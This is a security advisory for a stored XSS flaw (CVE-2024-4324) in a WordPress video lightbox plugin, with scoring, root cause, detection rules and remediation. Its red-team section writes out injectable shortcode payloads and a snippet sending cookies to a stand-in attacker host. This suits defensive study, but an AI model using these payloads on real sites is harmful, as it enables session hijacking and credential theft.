CVE-2024-4324

Executive Summary

CVE-2024-4324 is a Stored Cross-Site Scripting (XSS) vulnerability in the WP Video Lightbox plugin for WordPress, affecting all versions up to and including 1.9.10. The flaw resides in the width parameter, which is insufficiently sanitized and escaped, allowing authenticated attackers with contributor-level access or higher to inject arbitrary web scripts. When a user visits a page containing the malicious payload, the script executes in the context of the victim’s browser, potentially leading to session hijacking, credential theft, or defacement.

This vulnerability is part of the WordPress ecosystem and does not affect the underlying web server (Apache/Nginx). The CVSS score of 6.4 (Medium) reflects the need for authenticated access but the potential for significant impact due to stored persistence. No public exploit code or PoC has been released, and the EPSS score is 0.0%, indicating low exploitation likelihood at this time. However, the lack of a patch from the vendor makes this a persistent risk for unpatched installations.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the WordPress Plugin Directory and can be installed directly from the WordPress admin dashboard. No associated NPM, PyPI, Go, or Ruby packages exist. Users should verify plugin integrity via checksums provided by WordPress.org and monitor for updates from the vendor.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Base Score: 6.4 (Medium)
• Attack Vector (AV): Network – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low – No special conditions required.
• Privileges Required (PR): Low – Attacker needs contributor-level access.
• User Interaction (UI): Required – Victim must visit the injected page.
• Scope (S): Changed – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low – Limited data exposure possible.
• Integrity (I): Low – Content can be modified.
• Availability (A): Low – Minor disruption possible.

Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the stored nature of the XSS means any user visiting the page is at risk. The lack of a patch increases the urgency for mitigation.

Deep Dive & Mechanics

The vulnerability exists in the wp-video-lightbox plugin, which provides a lightbox overlay for video embeds. The width parameter is used to set the display dimensions of the lightbox. Due to insufficient input sanitization and output escaping, an attacker can inject malicious JavaScript into this parameter.

Attack Flow:

1. An authenticated user with contributor-level access or higher creates or edits a post/page.
2. The attacker inserts a shortcode like [wpvideo lightbox width="100px\" onmouseover=\"alert(1)\""].
3. The plugin processes the shortcode and outputs the width value without proper escaping.
4. When a victim views the page, the injected onmouseover event triggers the JavaScript payload.

Root Cause: The plugin uses esc_attr() or similar functions incorrectly, or fails to escape the width parameter before outputting it in an HTML attribute context. This allows breaking out of the attribute value and injecting event handlers.

Vulnerable vs. Patched Code

Vulnerable Code (version 1.9.10):

// In wp-video-lightbox.php or similar
$width = $atts['width'];
echo '<div class="wpvl_lightbox" data-width="' . $width . '">';

Patched Code (hypothetical):

$width = isset($atts['width']) ? esc_attr($atts['width']) : '560';
echo '<div class="wpvl_lightbox" data-width="' . $width . '">';

The patched version uses esc_attr() to escape the width value, preventing attribute injection. Additionally, a whitelist of allowed units (e.g., px, %) should be enforced.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress instance with WP Video Lightbox <= 1.9.10.
• Contributor-level account or higher.

Exploitation Steps:

1. Log in as a contributor.
2. Create a new post or edit an existing one.
3. Insert the following shortcode into the post content:

   [wpvideo lightbox width="100px\" onmouseover=\"alert(document.cookie)\""]
   

4. Publish or save the post.
5. Send the post URL to a victim. When they hover over the lightbox element, the XSS triggers.

Advanced Payload:

// Steal cookies
var img = new Image();
img.src = "http://attacker.com/steal?cookie=" + document.cookie;

Blue Team

Detection:

• Monitor for posts containing suspicious shortcode patterns, especially width parameters with quotes or event handlers.
• Use WAF rules to block requests with on*= attributes in shortcode parameters.

Hunting:

• Search the WordPress database for posts with [wpvideo shortcode and inspect the width value.
• Look for onmouseover, onclick, or onerror in post content.

Lab Setup:

• Use a local WordPress installation (e.g., via Docker) with the vulnerable plugin.
• Create a test user with contributor role.
• Inject the payload and observe the XSS in a browser.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/wp-video-lightbox/wp-video-lightbox.php (version <= 1.9.10)
• Shortcode Pattern: [wpvideo lightbox width="..."] where width contains quotes or event handlers.
• HTTP Request: POST to /wp-admin/post.php with post_content containing malicious shortcode.
• Database Entry: wp_posts.post_content containing [wpvideo lightbox width="..."] with suspicious attributes.
• Network Traffic: Outbound requests to attacker-controlled domains from compromised WordPress instances.

Detection Engineering

YARA Rule

rule CVE_2024_4324_WP_Video_Lightbox_XSS {
    meta:
        description = "Detects malicious shortcode patterns in WP Video Lightbox plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-4324"
    strings:
        $shortcode = /\[wpvideo\s+lightbox\s+width\s*=\s*["'][^"']*["']/
        $xss_payload = /on\w+\s*=\s*["']/
    condition:
        $shortcode and $xss_payload
}

Sigma Rule

title: CVE-2024-4324 WP Video Lightbox Stored XSS
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS via width parameter in WP Video Lightbox plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/wp-admin/post.php'
        cs-post|contains: 'wpvideo'
        cs-post|contains: 'lightbox'
        cs-post|contains: 'width='
    condition: selection
falsepositives:
    - Legitimate use of width parameter without XSS
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-4324 WP Video Lightbox Stored XSS"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"wpvideo"; http_client_body; content:"lightbox"; http_client_body; content:"width="; http_client_body; pcre:"/on\w+\s*=\s*["']/Ri"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not essential, or restrict contributor-level access.
2. Apply a virtual patch using a WAF to block requests containing on*= in shortcode parameters.
3. Manually sanitize the width parameter by editing the plugin code (if possible):
   • Replace $width = $atts['width']; with $width = isset($atts['width']) ? esc_attr($atts['width']) : '560';
   • Add a whitelist check: if (!preg_match('/^\d+(px|%)?$/', $width)) { $width = '560'; }

Long-term:

• Monitor the WordPress Plugin Directory for an official patch.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.
• Enforce least privilege for WordPress user roles.

Workaround:

• Use a different video lightbox plugin that is actively maintained.

Valters IT